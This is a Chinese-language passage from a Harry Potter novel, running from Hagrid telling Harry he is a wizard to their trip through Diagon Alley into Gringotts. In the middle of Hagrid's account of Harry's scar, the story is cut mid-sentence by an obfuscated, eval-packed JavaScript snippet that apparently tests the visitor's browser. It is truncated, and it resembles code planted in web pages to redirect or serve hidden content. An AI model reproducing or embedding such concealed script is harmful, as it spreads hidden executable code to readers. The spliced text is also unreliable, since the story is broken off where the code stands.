巨人又坐回到沙发上,沉重的身躯把沙发压得直往下塌。 他开始从外衣口袋里掏出各式各样的东西:一把铜壶、一包压扁的香肠、一只拨火钳、一把茶壶、几只缺口的大杯子和一瓶琥珀色的液体。他先喝了一大口,然后开始泡茶。小屋里随即充满了烤香肠的香味和咝咝的声音。在巨人忙活的时候,谁也没有吱声。 但是当他把第一批烤好的六根粗粗的、油汪汪的、烤得稍稍有点焦的香肠从拨火钳上拿下来时,达力有些坐不住了。弗农姨父厉声说:“达力,不准碰他给你的任何东西。” 巨人拉下脸轻蔑地一笑。 “你这个呆瓜儿子用不着再长膘了,德思礼,你放心吧。” 他把香肠递给哈利,哈利早就饿极了。他这辈子也没吃过这么好吃的东西,但他始终无法将目光从巨人身上移开。 最后,他看不会有人出来作任何解释,于是问:“对不起,可我真的还是不知道您是谁?”巨人喝下一大口茶,用手背揩了揩嘴。“就叫我海格吧,”他说,“大伙都这么叫我。我刚才对你说过,我是霍格沃茨的钥匙保管员——当然,霍格沃茨你总该知道吧?” “唔—— 我不知道。”哈利说。海格显得相当震惊。 “对不起。”哈利连忙说。 “对不起?”海格吼起来,调过头瞪着德思礼夫妇,他们俩都吓得躲到暗处去了。 “说对不起的应当是他们!我知道你没有收到那些信,但是我万万没有想到你竟然不知道霍格沃茨,我的天哪!难道你从来没想过你父母是在哪里学会那一切的吗?” “一切什么?” “一切什么?”海格大喝道。“你等等!” 他一跃而起,火冒三丈,似乎整个小屋都被他庞大的身躯填满了。德思礼夫妇吓得贴着墙瑟瑟发抖。 “你们的意思是要告诉我,”他朝德思礼夫妇咆哮道,“这孩子——这孩子!——对——什么都不知道吗?” 哈利觉得这么说也未免太过分了。他毕竟还上过学,而且成绩也不坏。 “有些事情,我懂,”哈利说,“比如,我会做算术之类的功课。”可是海格朝他一摆手说:“我是说,知道我们的世界。你的世界,我的世界,你父母的世界。” “什么世界?”海格看起来简直要爆炸了。“德思礼!”他大吼一声。 弗农姨父面色煞白,嘀嘀咕咕不知小声说着什么。海格怒冲冲地瞪着哈利。 “你总该知道你父母的事吧,”他说,“我是说,他们很有名气,你也很有名气。” “什么?我的——我爸妈没有名气,不是吗?” “哦,你不知道...你不知道...”他用手指拢了拢头发,用困惑不解的目光盯着哈利。 “你不知道你是什么人吗?”他终于问。弗农姨父突然能开口说话了。 “住嘴!”他命令说,“不要再说了,先生!我不准你对这孩子讲任何事!”即使比弗农姨父更勇敢的人,在海格暴跳如雷、对他怒目而视的时候也会不寒而栗。海格说话时,他说的每一个字都因愤怒而颤抖。 “你就从来没有告诉过他?没有告诉他邓布利多留给他的那封信的内容?我当时在场!我亲眼看见他留下了那封信。德思礼!这么多年你就一直瞒着不告诉他?” “瞒着什么不让我知道?”哈利急不可耐地问。 “住嘴!我不准你说!”弗农姨父惊慌失措,大喊大叫起来。佩妮姨妈吓得上气不接下气。 “哦,气死你们,把你们两个统统活活气死。”海格说,“哈利。你是一名巫师。” 小屋里鸦雀无声,只听见滚滚涛声和狂风呼号。 “我是什么?”哈利喘着气说。 “一名巫师,当然。”海格说着,坐回到沙发上,沙发又嘎吱嘎吱响得更厉害了,“我相信,只要你经过一段时间培训,一定会成为一名优秀的巫师。你有那样的父母,你怎么可能不是巫师呢?我想现在该是你看那封信的时候了。” 哈利终于伸手接过一只淡黄色的信封,上边用翠绿色墨水写着:大海,礁石上的小屋,地板上,哈利·波特先生收。他抽出信读起来:霍格沃茨魔法学校校长:阿不思·邓布利多。(国际魔法联合会会长、巫师协会会长、梅林爵士团一级魔法师) 亲爱的波特先生:我们愉快地通知您,您已获准在霍格沃茨魔法学校就读。随信附上所需书籍及装备一览表。学期定于九月一日开始。我们将于七月三十一日前静候您的猫头鹰带来您的回信。副校长(女)米勒娃·麦格谨上。 哈利的问题像烟花一样,在头脑里纷纷爆裂,他一时拿不定该先问什么。过了一会儿,他才结结巴巴地说:“他们静候我的猫头鹰是什么意思?” “狂奔的戈耳工,哟,我想起来了。”海格用足以推倒一匹壮马的力量拍了拍他的脑门,又从外衣的另一个内袋里掏出一只猫头鹰——一只真的、活蹦乱跳、多着毛的猫头鹰——一支长长的羽毛笔和一卷羊皮纸。他用牙齿咬着舌尖匆匆写了一张字条,哈利倒着看见字条上写道:亲爱的邓布利多先生:已将信交给哈利。明天带他去购买他要用的东西。天气糟透了。祝您安好。 海格将字条卷起来,让猫头鹰衔在嘴里,走到门口,把猫头鹰放飞到暴风雨里。随后他又回来坐下,仿佛这一切像打了一个电话一样平常。 哈利发现自己一直张着嘴,连忙把嘴闭上。 “我说到哪儿了?”海格说。这时弗农姨父突然移到火光照亮的地方,脸色依旧惨白,显得很生气。 “他不会去的。”他说。 海格哼了一声。 “我倒要看看,你们麻瓜,像你这样的大笨蛋用什么办法去阻拦他。”他说。 “你们什么?”哈利好奇地问。 “麻瓜,”海格说,“这是我们对像他们这类不相信魔法的人的称呼。不幸的是,你竟然在这么一个不相信魔法的家庭里长大。” “我们收养他的时候就发过誓,要制止这类荒唐事,”弗农姨父说,“发誓要让这一切一刀两断!什么巫师,哼!” “您早就知道了?”哈利说,“您早就知道我是一个——一个巫师?” “老早就知道,”佩妮姨妈突然尖着嗓子喊起来,“老早就知道!我们当然老早就知道!我那个该死的妹妹既然是,你怎么可能不是?哦,她就是收到同样的一封信,然后就不见了——进了那所学校——每逢放假回来,口袋里装满了蟾蜍蛋,把茶杯都变成老鼠。只有我一个人,算是把她看透了——十足一个怪物!可是我的父母却看不清,整天莉莉长、莉莉短,家里有个巫婆,他们还美滋滋的!” 她停下来喘了一大口气,接着又喋喋不休地讲起来。 看来这些话她已经憋在心里很多年,一直想一吐为快呢。 “然后她就在学校里遇到了那个波特,毕业后他们结了婚,有了你。当然,我也知道你会跟他们一样,一样古怪,一样—— 一样——不正常——后来,对不起。她走了,自己爆炸了,我们只好收养你!” 哈利的脸色变得煞白。等他能说出话来时,他立刻说:“爆炸?您对我说过,他们是遇到车祸丧生的!” “车祸!”海格咆哮起来,他一跃而起,火冒三丈,吓得德思礼夫妇又躲到他们的角落里去了。 “车祸怎么会伤害莉莉和詹姆波特?这是诬蔑!是诽谤!我们世界里的每个孩子都知道哈利的名字,而他却不知道自己的身世!” “可这是为什么?出了什么事?”哈利急不可耐地问。 海格脸上的怒气消了,他突然显得焦虑不安。 “我从来没有料到会是这样。”他用低沉而焦虑的声调说。“邓布利多对我说过找你可能会遇到麻烦,因为有许多事你不知道。哦,哈利,我不知道由我来告诉你是不是合适——不过总得有人告诉你——你不能一无所知就去霍格沃茨上学呀。” 他鄙夷地朝德思礼夫妇扫了一眼。 “好,我来把我所知道的一切都告诉你——不过,我不能告诉你事情的全部,因为很多事情还是一个谜...” 他坐下来,朝炉火看了一会儿,然后说:“我想,我从一个叫——不过你不知道他的名字,真叫人不能相信,我们的世界里人人都知道—— ” “谁?” “好,除非万不得已,我不想提他的名字。没有人愿意提。” “为什么不愿意提?” “对那些狂奔的戈耳工们,哈利,人们到现在还心有余悸。哎呀,难哪。当时有一名巫师,他后来...变坏了。坏透了。坏得不能再坏了。他的名字叫...”海格咽了一口唾沫,可还是说不出一个字来。 “你能写出来吗?”哈利提醒说。 “不行——这个字我不会拼。好吧——他叫伏地魔。”海格打了个寒噤,“别再逼我重复他的名字了。总之,这个...这个巫师,大概二十年前吧,他开始为自己找门徒。他也找到了一些人...他们有些是因为怕他,有些是想从他那里学到些功法,因为他法力高强。好了。那段日子可真是黑暗啊,哈利。你不知道应该相信谁,也不敢跟陌生的男女巫师交朋友...还发生了许多可怕的事情。他接管了我们这个世界。当然有些人反对他,他就把他们都杀掉了。太可怕了。当时唯一安全的地方就只有霍格沃茨。那个神秘人最害怕的就是邓布利多。横竖不敢动那所学校,至少当时是这样。 “现在来说说你的父母,他们是我知道的最优秀的男女巫师了。他们当年在霍格沃茨还分别担任男女学生会的主席呢!叫人弄不明白的是,当初那个神秘人为什么没有把他们拉到他那边去...也许他知道他们和邓布利多很接近,不想与黑势力有关系吧。 “也许他认为他可以说服他们.也许想干脆把他们干掉。大家都知道,十年前的万圣节前夕,他来到你们住的村庄,当时你只有一岁。他来到你们家就——就——” 海格突然掏出一块污渍斑斑的、脏得要命的手帕擤鼻涕,那声音响得像在吹晨号。 “对不起,”他说,“这是一个不幸的消息。我认识你的父母,再也找不到比他们再好的人了,不管怎么说——神秘人把他们杀了,可是叫人弄不明白的是,本来他也要去杀你。也许是想斩尽杀绝吧。可他没有杀成。你就从来没有想过你脑门上那道伤疤是怎么来的吗?那不是一般的刀疤。那是一道很厉害的魔咒,它杀了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“问得好,哈利。他不见了。失踪了。就在要杀你的当天夜里。这一来就让你的名气更大了。这也是最让人弄不明白的地方,你看...他的法力越来越强,他为什么要走掉呢?“有人说他死了。我认为纯粹是胡说八道。他身上恐怕已经没有多少人性了,所以也就不可能死去。有人说他还在这一带,等待时机,可能吧,但我不相信。原来支持他的人都回到我们这边来了。有些人已经从噩梦中清醒。如果他还会东山再起,他们是不可能这么做的。” “我们大多数人都认为他还在这一带,不过已经失去了法力,已经虚弱得成不了气候了。因为你身上具有的某种力量把他毁了,哈利。那天晚上肯定发生了一件他没有预料到的事——我不知道会是什么,没有人知道——不过你身上具有的某种力量使他受挫了,就是这样。” 海格用热切而崇敬的目光注视着哈利,但哈利并没有感觉到高兴和自豪,相反,他认为这肯定是一个可怕的错误。一个巫师?他?他怎么可能是一个巫师? 他一直在达力的殴打和佩妮姨妈、弗农姨父的凌辱下偷生;如果他真是一名巫师,那么当他们要把他锁进碗柜的时候,他们为什么没有变成疙疙瘩瘩的癞蛤蟆呢?如果他曾经打败过世界上最大的魔法师,那么达力为什么能像踢足球那样把他踢得到处乱跑呢? “海格,”他轻声说,“我想您一定搞错了,我想,我不可能是一个巫师。” 哈利很吃惊,海格居然咯咯地笑起来。 “不是巫师,你害怕或生气的时候,就从来没有事情发生吗?” 哈利看着炉火,开始思索这件事情——每件惹得他姨父姨妈对他大发雷霆的怪事都发生在他——哈利——情绪不好或生气的时候..被达力的一伙追打的时候,他总有办法让他们追不着...他正为剪成那样可笑的发型上学发愁,可又即刻想出办法让头发恢复了原样...而最近一次达力追打他的时候,他不是在不知不觉中,就对他进行了报复吗?他不是放一条巨蟒去吓唬达力了吗?哈利回过头来对海格报以一笑,发现海格也朝他露出了笑容。 “明白了吧?”海格说,“哈利·波特,不是巫师——你等着瞧吧,你会在霍格沃茨名声大噪的。” 但弗农姨父也不甘心就此罢休,“难道我没有对你说过他不去吗?”他尖着嗓子说,“他要去上石墙中学,他会感激我的。我看过那些信,要他准备一大堆无用的东西——像咒语书,还有魔杖什么的——” “如果他真想去,像你这样不信魔法的大傻瓜是拦不住他的,”海格咆哮说,“阻止莉莉和詹姆·波特的儿子上霍格沃茨!你这是疯了。他从生下来,他的名字就已经入了霍格沃茨的名册了。他要进的是世界上最优秀的魔法学校。七年之后,他会面貌一新。他要和跟他一样的孩子在一起,换换环境,还要在霍格沃茨有史以来最伟大的校长阿不思·邓布利多的教导下——” “我决不花钱让一个疯老头子,一个大傻瓜去教他变戏法!”弗农姨父大吼起来。 不过这次他确实太过分了。海格抓起他的伞在头顶上绕了几圈,怒喝道:“永远——不准——在——我——面前——侮辱——阿不思——邓布利多!” 他甩伞,嗖的一声在空中挥了一下,然后直指达力,忽的一道紫罗兰色的闪光、一声鞭炮似的响声、一声尖叫,接着达力就用双手捂着他肥胖的屁股,疼得直蹦,哇哇乱叫。 当他把身子转过去、背朝他们时,哈利看见一根卷曲的猪尾巴从裤子的破洞里伸了出来。 弗农姨父一边吼叫,一边把佩妮姨妈和达力朝另一间屋拖。他最后用恫吓的目光瞪了海格一眼,砰的一声把门带上。 海格低头看了看伞,捋了捋胡须。 “我不该发火,”他懊恼地说,“不过,还是没有成功。我本来想把他变成一只猪,只是也许他已经太像猪了,所以用不着再去变什么了。” 他从浓密的眉毛下斜瞟了哈利一眼。 “要是你对霍格沃茨的任何人都不提起这件事,我就谢谢你了。”他说,“我——哦——严格地讲,我不能施用法术。只有在找你或给你送信的时候才准许我用一点儿——这也是我热心接下这个工作的原因之一。” “为什么不准许您施用魔法呢?”哈利问。 “哦,是这样,我自己也在霍格沃茨上过学,但是,实话对你说,我——哦——被开除了。我当时三年级。他们撅断了我的魔杖,其他东西都没收了。可邓布利多让我留下看管狩猎场。他可真是个了不起的人啊。” “你为什么被开除?” “时间太晚了,明天我们还有许多事情要做,”海格大声说,“明天一早还要进城给你买书什么的。” 他脱下黑色的厚呢外衣,扔给哈利。 “你就盖着这个睡吧。”他说,“要是有什么东西乱动,没关系。我想,有个衣袋里好像还装着两只睡鼠。” 6. 对角巷 第二天一大早,哈利就醒了。他明明知道天已经亮了,可还是把眼睛闭得紧紧的。 “这是一个梦,”他确定无疑地对自己说,“我梦见一个叫海格的巨人,他来对我说,要我进一所魔法学校。等我一睁眼,我准在家里,在碗柜里。” 突然传来一阵啪啪的响声。 “又是佩妮姨妈在捶门了。”哈利心里想,他的心一沉。可他没有睁开眼。因为那个梦实在太好了。 啪。啪。啪。 “好了,”哈利嘟哝说,“我这就起来。” 他坐了起来,海格的厚外衣从身上滑了下来。小屋里充满了阳光,暴风雨已经过去了。海格睡在坍塌的沙发上。一只猫头鹰正用爪子敲打窗户,嘴里衔着一份报纸。 哈利感到特别高兴,仿佛胸中揣着的一个气球渐渐鼓起来,使他飘飘欲仙了。 他径直走到窗前,用力推开窗户。猫头鹰飞了进来,把报纸扔到海格身上,但他还是没有醒。猫头鹰扑腾着翅膀飞到地上,开始抓海格的外衣。“别抓。” 哈利摆手想让猫头鹰走开,可是猫头鹰用它的利喙朝哈利猛啄过去,之后又去抓海格的外衣。 “海格!”哈利大声喊道,“这里有一只猫头鹰——” “把钱付给它。”海格在沙发里哼哼唧唧地说。 “什么?” “它要你付送报费。你在外衣袋里找找。” 海格的外衣上面除了口袋,大概就没有别的什么了——口袋里装着成串的钥匙、小弹丸、线团、薄荷硬糖、茶袋...最后哈利终于掏出了一把稀奇古怪的硬币。 “给它五个纳特。”海格睡意朦胧地说。 “纳特?” “那些小铜板。” 哈利数出五个铜板,猫头鹰伸出一只腿,要他把硬币放进绑在腿上的一只小皮囊里。随后它从敞开的窗口飞出去了。 海格打了个大哈欠,坐起来伸了伸懒腰。 “咱们最好还是早点走吧.哈利,今天还有好多事要做呢,要去伦敦给你买上学需要的所有东西。” 哈利摆弄着巫师的钱币,沉思起来。他不知想起了什么,觉得胸中那只快乐的气球被戳破了。 “唔,海格?” “怎么?”海格说,正在套他的大靴子。 “我一个钱也没有,昨天晚上你已经听弗农姨父说过了,他不会花钱让我去学魔法的。” “这个你不用担心,”海格说,站起来搔了搔头,“你以为你父母什么也没有给你留下吗?” “可要是连他们的房子全都毁了——” “他们是不会把黄金放在家里的,孩子!我们第一站去古灵阁。巫师银行。来一根香肠吧,冷的吃着味道也可以——加上一块你的生日蛋糕更不错。” “巫师还有银行?” “只有一家。古灵阁。是妖精们开的。” 哈利手里的香肠掉到了地上。 “妖精?” “是的,所以,听我说,你要是想抢银行,那你就是发疯了。绝对不能把妖精们惹恼了,哈利。如果你想找一个安全可靠的地方存放东西,那么,我想除了霍格沃茨之外就是古灵阁了。其实,不管怎样我都要去一趟古灵阁,去替邓布利多办一件霍格沃茨的公事。”海格很得意地挺起胸来。“重要的事情他总是要我去办,比如去接你,去古灵阁取东西,都要我去,他知道他可以信任我,明白吗?” “东西都带好了吗?那就走吧。”哈利跟着海格来到外面的礁石上。这时天晴气爽,海水闪烁着阳光。弗农姨父租的那条船还泊在原处,暴风雨过后,船底积了许多水。 “您是怎么到这里来的?”哈利问,四下里搜寻另外一条船。 “飞过来的。”海格说。 “飞?” “是的——不过我们得坐这条船回去。找到你以看,我就不能用法术了。” 他们在船上坐定,哈利还在目不转睛地盯着海格,竭力想象他飞行的样子。“划船好像有点丢人,不过,”海格说着,又朝哈利斜瞟了一眼,“我要是让——让——船开快一点,你能在霍格沃茨不提这件事吗?” “当然可以。”哈利说,他心急火燎想看到更多的法术。 海格抽出他那把粉红色的伞,敲了两下船帮,他们就飞快地向岸边驶去了。 “您为什么说疯子才会去抢古灵阁呢?”哈利问。“因为他们会咒语——会施妖术。”海格一边说,一边翻开报纸。“他们说那些防范最严密的金库都由龙把守。要到那里还得先找到路——古灵阁在伦敦地下好几百英里的地方呢,明白吗?比地铁还要深。如果你真有办法偷到了一点东西,在没有找到出来的路之前,你早就饿死了。” 海格开始看他的《预言家日报》,哈利还坐在那里思前想后。他从弗农姨父那里知道人读报的时候总喜欢清静,可这实在太难了,他平生从来没有像现在这样有这么多问题想问。 “魔法部总是把事情搞得一团糟。”海格翻过报纸,抱怨说。“还有魔法部?”哈利忍不住问。“当然了,”海格说,“他们当然希望邓布利多当他们的部长,可是他决意不离开霍格沃茨。这么一来,老康奈利·福吉就担任了这一职务。他是天下最没头脑的人了,总是砸锅。所以他每天早晨总派许多猫头鹰到邓布利多那里去,要邓布利多出点子。” “可这个魔法部做些什么呢?”“哦,他们的主要工作是不让麻瓜们发现,这个国家还有那么多巫师。” “为什么?”“为什么?我的天哪,哈利,人人都希望用法术来解决遇到的难题。我们最好还是别去惹这些事。” 这时,船轻轻地碰到了码头。海格卷起报纸,两人踏上石阶向大街走去。 当他们俩穿过小城向车站走去时,一路上过往的人都目不转睛地盯着海格。哈利并不怪他们,这不仅因为海格比普通人要高大一倍,而且他还不停地对一些诸如汽车停车计费器之类很平常的东西指指点点,大声说:“看见那玩艺儿了吗,哈利?这又是麻瓜们搞出来的什么名堂,嗯?” “海格,”哈利说,为了追上海格的脚步,他已经有些气喘吁吁了,“您是说古灵阁有龙吗?” “是的,他们这么说。”海格说,“哟,我也想要一条龙呢。” “您也想要一条龙?”“我从小就想要了——走这边。” 他们来到了车站,再过五分钟就有一趟开往伦敦的列车。海格说他不会用麻瓜的钱,就把钞票塞到了哈利手中,让他去买车票。在火车上人们就更盯着他们看了。 海格占据了两个座位。落座之后还编织起一顶淡黄色的、像马戏团帐篷一样的东西。 “给你的信带了吗?”他一边数针,一边问。哈利从衣袋里掏出一个羊皮纸信封。 “好,”海格说,“里边有一张必备用品的单子。” 哈利打开昨天夜里没有留意的第二页信纸,读道:霍格沃茨魔法学校: 【制服】一年级新生需要:1.三套素面工作袍(黑色) 2.一顶日间戴的素面尖顶帽(黑色) 3.一双防护手套(龙皮或同类材料制作) 4.一件冬用斗篷(黑色,银扣)。请注意:学生全部服装均须缀有姓名标牌。 【课本】全部学生均需准备下列图书: 《标准咒语,初级》米兰达·戈沙克著, 《魔法史》巴希达·巴沙特著, 《魔法理论》阿德贝·沃夫林著 《初学变形指南》埃默瑞·斯威奇著, 《千种神奇草药及蕈类》菲利达·斯波尔著, 《魔法药剂与药水》阿森尼·吉格著 《怪兽及其产地》,纽特·斯卡曼著 《黑暗力量:自卫指南》,昆丁·特林布著。 【其他装备】一支魔杖,一只大锅(锡镴制,标准尺寸2号),一套玻璃或水晶小药瓶,一架望远镜,一台黄铜天平,学生可携带一只猫头鹰,或一只猫,或一只蟾蜍。在此特别提请家长注意,一年级新生不准自带飞天扫帚。 “这些东西我们在伦敦都能买到吗?”哈利大声问。 “只要你知道门径就行。”海格说。 哈利以前从未来过伦敦。海格尽管知道路,但他过去显然不是以常人的方法来的。 他在地铁验票口被卡住了,接着又大声抱怨座位太窄,车速太慢。 “我真不知道这些麻瓜们不用法术怎么办事。”当他们顺着出了故障的自动扶梯爬到店铺林立、人群熙熙攘攘的大街时,海格又说。 海格人高马大,毫不费事地就从人群中挤了过去,哈利只消紧跟在他背后就可以了。 他们经过书店、唱片店、汉堡专卖店、电影院,就是找不到一家卖魔杖的商店。 这只是一条普普通通的街道,挤满了普通人。当真会有成堆的巫师的金币埋藏在他们脚下吗?真会有出售咒语书和飞天扫帚的商店吗?这一切可不可能是德思礼夫妇开的一个大玩笑呢?要不是哈利知道德思礼夫妇毫无幽默感,他也许就会这么想;可是到目前为止,海格所讲的一切都太离奇,令人难以置信,可他还是不能不相信他。 “就是这里,”海格停下来说,“破釜酒吧。这是一个很有名的地方。” 这是一家肮脏的狭小酒吧。要不是海格指出来,哈利很可能不会注意。匆忙过往的人们连看也不看它一眼。他们的目光只落在一边的一家大书店和另一边的一家唱片店上。他们好像根本看不见破釜酒吧。哈利有一种很奇怪的感觉,似乎只有他和海格能看见这家酒吧。他还没来得及说话,海格就已经把他推到店里去了。 作为一个出名的地方,这里实在是太黑太脏了。几个老太婆坐在屋角里拿着小杯喝雪利酒,其中一个正在抽一杆长烟袋。一个戴大礼帽的小男人正在跟一个头发几乎脱光、长得像瘪胡桃似的酒吧老板聊天。他们刚一进门,嘁嘁喳喳的说话声就突然停了下来。这里好像人人都认识海格,他们向他微笑、招手。酒吧老板拿起一只杯子说:“照老规矩,海格?” “不了,汤姆,我正在给霍格沃茨办事呢。”海格用他的巨掌拍了拍酒吧老板的肩膀,差点儿没把他压趴下。 “我的天哪,”酒吧老板仔细端详着哈利,说道,“这位是——这位莫非是——” 破釜酒吧里顿时悄然无声。 “哎呀!”酒吧老板小声说,“哈利·波特——荣幸之至。” 他连忙从吧台后边出来,朝哈利跑过去,抓起他的手,热泪盈眶。“欢迎回来,波特先生,欢迎你回来。”哈利不知说什么好。大家都在看他。那个抽长烟袋的老太婆一个劲地抽,根本没发现烟袋已经熄灭了。海格一直在笑。接着椅子噼噼啪啪地响了起来,哈利突然发现自己竟跟破釜酒吧的人一一握起手来。 “我是科多利,波特先生,真是不敢相信,总算见到您了。” “太荣幸了,波特先生,太荣幸了。” “早就盼着跟您握手了——我的心怦怦直跳。” “太高兴了,波特先生,简直没法说明我的心情,我叫迪歌。” “我以前见过您,”当迪歌过分激动、礼帽掉下来时,哈利大喊道,“有一次在商店里,你朝我鞠躬。” “他居然还记得!”迪歌看着在场的每一个人喊道,“你们听见没有?他还记得我呢!” 于是哈利就一遍又一遍地握手——科多利总跑过来要求再跟他握一次。 一个面色苍白的年轻人走过来,神情显得非常紧张,他的一只眼睛在抽动。 “奇洛教授!”海格说,“哈利,奇洛教授是在霍格沃茨教你的老师之一呢。” “波——波——波特,”奇洛教授结结巴巴地说,抓起哈利的手,“见到你有说——说不出的——高——高兴。”“您教哪一类魔法,奇洛教授?”“对付黑——黑——黑魔法的防——防御术。”奇洛教授含煳不清地说,似乎他觉得还是不提为好。“这你已经用——用不——不着学了,是吧,波——波——波特先生?”他神经质地哈哈大笑起来。“你这是准——准备去买你需要的东西吧?我也要一要去买一买一本关于吸血鬼的新——新书。”似乎想起这件事就把他吓坏了。 可是其余的人不会让奇洛教授跟哈利说个没完。哈利花了大概十来分钟的时间才把他们摆脱掉。 在一片喋喋不休的说话声中,海格提高嗓门叫哈利:“该走了,还有好多东西要买呢。走吧,哈利。” 科多利最后一次跟哈利握过手,海格就领着他穿过吧台,来到四面有围墙的小天井。这里除了一只垃圾桶和一些杂草,此外什么也没有。 海格朝哈利咧嘴一笑。 “我不是对你说过了吗,是不是?对你说过你很有名气。连奇洛教授在你面前都要发抖——不过,我要提醒你,他经常发抖。” “他总是这么神经紧张吗?” “哦,是的。倒霉的家伙。头脑聪明极了,上学的时候书也读得很好。可后来他休了一年学,为了要获得一些第一手的实践经验...据说,他在黑森林里遇到了吸血鬼,一个老巫婆又使他遭到了很大麻烦,从那以后,他就完全变成了另外一个人。害怕学生,害怕自己教的科目...哦,我的伞呢?” 吸血鬼?老巫婆?搞得哈利都晕头转向了。这时海格正在数垃圾箱上边的墙砖。 “往上数三块——再往横里数两块——”他小声念叨。“好了,往后站,哈利。” 他用伞头在墙上轻轻敲了三下。 他敲过的那块砖抖动起来,开始移动,中间的地方出现一个小洞,洞口越变越大,不多时他们面前就出现了一条足以让海格通过的宽阔的拱道,通向一条蜿蜒曲折、看不见尽头的鹅卵石铺砌的街道。 “欢迎,”海格说,“欢迎你来到对角巷。”见哈利惊讶不已,海格朝他咧嘴一笑。 他们沿拱道走去,哈利忙侧身回头一看,只见拱道一下子变窄了,然后又变成了原来坚实的墙壁。 耀眼的阳光投射在最近一家商店门外的一摞锅上。锅的上方悬挂着一块牌:铜制——黄铜制——锡镀制——银制大锅,型号齐全,自动搅拌——可折叠。 “哦,你需要买一只,”海格说,“ 不过我们先得去取钱。” 哈利恨不能再多长八只眼睛。他们走在街上,他一路东张西望,希望把一切都看个通通透透:所有的店铺、店铺前的物件、购物的人们。 一个胖女人站在药店外边,当他们经过时,她摇着头说:“龙肝,十七西可一盎司,他们疯了...” 从一家晦暗的商店里传出一阵低沉轻柔的呜呜声,门前的招牌上写着:咿啦猫头鹰商店——灰林枭、鸣角枭、草枭、褐枭、雪枭。 几个与哈利年龄相仿的男孩鼻尖紧贴着橱窗玻璃,橱窗里摆着飞天扫帚。 “看哪,”哈利听见一个男孩说,“那是新型的光轮2000——最高速——” 还有的商店出售长袍,有的出售望远镜和哈利从来没见过的稀奇古怪的银器。 还有的橱窗里摆满了一篓篓蝙蝠脾脏和鳗鱼眼珠,堆满了符咒书、羽毛笔、一卷卷羊皮纸、药瓶、月球仪... “古灵阁到了。”海格说。他们来到一幢高高耸立在周围店铺之上的雪白楼房前,亮闪闪的青铜大门旁,站着一个穿一身猩红镶金制服的身影,那不就是—— “不错,那就是一个妖精。”当他们沿着白色石阶朝那人走去时,海格镇定地小声说。 这个妖精大约比哈利矮一头,生着一张透着聪明的黝黑面孔,尖尖的胡子,哈利发现他的手和脚都特别长。 他们进门时,那妖精向他们鞠躬行礼。之后他们面前出现了第二道门,是银色的,两扇门上镌刻着如下的文字: 请进,陌生人,不过你要当心 贪得无厌会是什么下场, 一味索取,不劳而获, 必将受到最严厉的惩罚, 因此如果你想从我们的地下金库 取走一份从来不属于你的财富, 窃贼啊,你已经受到警告, 当心招来的不是宝藏,而是恶报。 “就像我说的,你要是想抢银行,那你就是疯了。”海格说。 两个妖精向他们鞠躬,把他们引进一间高大的大理石厅堂。大约有百十来个妖精坐在一排长柜台后边的高凳上,有的用铜天平称钱币,有的用目镜检验宝石,一边往大账本上草草地登记。厅里有数不清的门,分别通往不同的地方,许多妖精指弓引来人出入这些门。海格和哈利朝柜台走去。 “早,”海格对一个闲着的妖精说,“我们要从哈利波特先生的保险库里取一些钱。” “您有他的钥匙吗,先生?” “带来了。”海格说着,把衣袋里所有的东西都掏出来放到柜台上,不小心将一把发霉的狗饼干撤在了妖精的账本上。妖精皱了皱鼻子。哈利看着右边那个妖精正在称一堆跟烧红的煤块一般大小的红宝石。 “找到了。”海格终于说,举起一把小金钥匙。妖精认真仔细地查看了一番。 “应当没有问题。” “我这里还有一封邓布利多教授写的信,”他郑重其事地说着,挺起胸来,“是关于713号地下金库里的‘那件东西’的。” 妖精仔细看了信。 “很好,”他说着,把信交还给海格,“我找人带你们去这两个地下金库。拉环!”拉环是另外一个妖精。海格把狗饼干全装回里边口袋里之后,就和哈利跟随拉环从其中一扇门走出了大厅。 “713号地下金库里的‘那件东西’ 是什么?”哈利问。 “这我不能告诉你。”海格神神秘秘地说。“这是绝对机密。是关于霍格沃茨的事。邓布利多信任我。这是我的工作,不值得讲给你听。” 拉环为他们俩打开门。哈利本以为又会看到许多大理石,但他吃了一惊。眼前是一道狭窄的石廊,燃烧的火把将它照得通明。石廊是一道陡蛸的下坡,下面有一条小铁路。 拉环吹了一声口哨,一辆小推车沿着铁道朝他们猛冲过来。他们爬上车——海格可费了不少劲——就出发了。 起初,他们沿着迷宫似的蜿蜒曲折的甬道疾驰,哈利想记住走过的路,左拐.右拐,右拐,左拐,中间的岔路口,再右拐,左拐,根本记不住。咔哒咔哒响的小推车似乎认识路,根本不用拉环去驾车。 冰冷空气呼啸而过,把哈利的眼睛都吹痛了,但是他还是竭力睁大眼睛。一次,他似乎看到甬道尽头有一团火,便转过身去,想看看那里是不是有一条龙。但是,已经来不及了,他们已经冲到地底下更深的地方,经过一片地下湖,上边挂满了巨大的钟乳石和石笋,一直垂到地上。 “我一直弄不清,”哈利在咔哒咔哒的车声中,对海格喊道,“钟乳石和石笋有什么区别。” “钟乳石这个字中有字母M。”海格说,“现在别向我提问题,我觉得要吐了。” 他的脸色铁青,当小推车终于在甬道的一扇小门前停下来时,海格爬下车之后就紧靠在甬道墙上,这样才使双膝不至于发抖。 拉环打开门锁。一股浓浓的绿烟从门里冒出来,浓烟散尽之后,哈利倒抽了一口气。里边是成堆的金币、银条和堆积如山的青铜纳特。” “这全都是你的。”海格笑着说。 全都是哈利的,真令人难以置信。德思礼夫妇对此肯定一无所知,否则用不了一眨眼的工夫,他们就会把这一切全部据为己有。他们不是经常抱怨收养哈利要花费许多钱吗?可他一直拥有一笔属于他的小小财富,深埋在伦敦地下呢。 海格帮哈利把钱装进袋子里。“金币是加隆,”他解释说,“十七个银西可合一个加隆,二十九个纳特合一个西可,够简单了吧。好了,足够两学期用的了,剩下的替你保管着。”他转身对拉环说:“现在带我们去713号地下金库吧,不过能不能麻烦你让车开得慢一些?” “车速只有一个。”拉环说。 他们下到越来越深的地方,加快了速度。在急转弯的地方空气变得更寒冷刺骨。 小推车咔哒咔哒响着来到一处山涧之上。哈利将身子探出车外,想看看黑洞洞的山涧里究竟有什么东西。海格哼了一声,揪住哈利的脖领,把他拽了回来。 713号地下金库没有钥匙孔。 “往后站。”拉环郑重其事地说。他伸出一个长长的手指轻轻敲门,那门竞轻轻地一点一点地消失了。 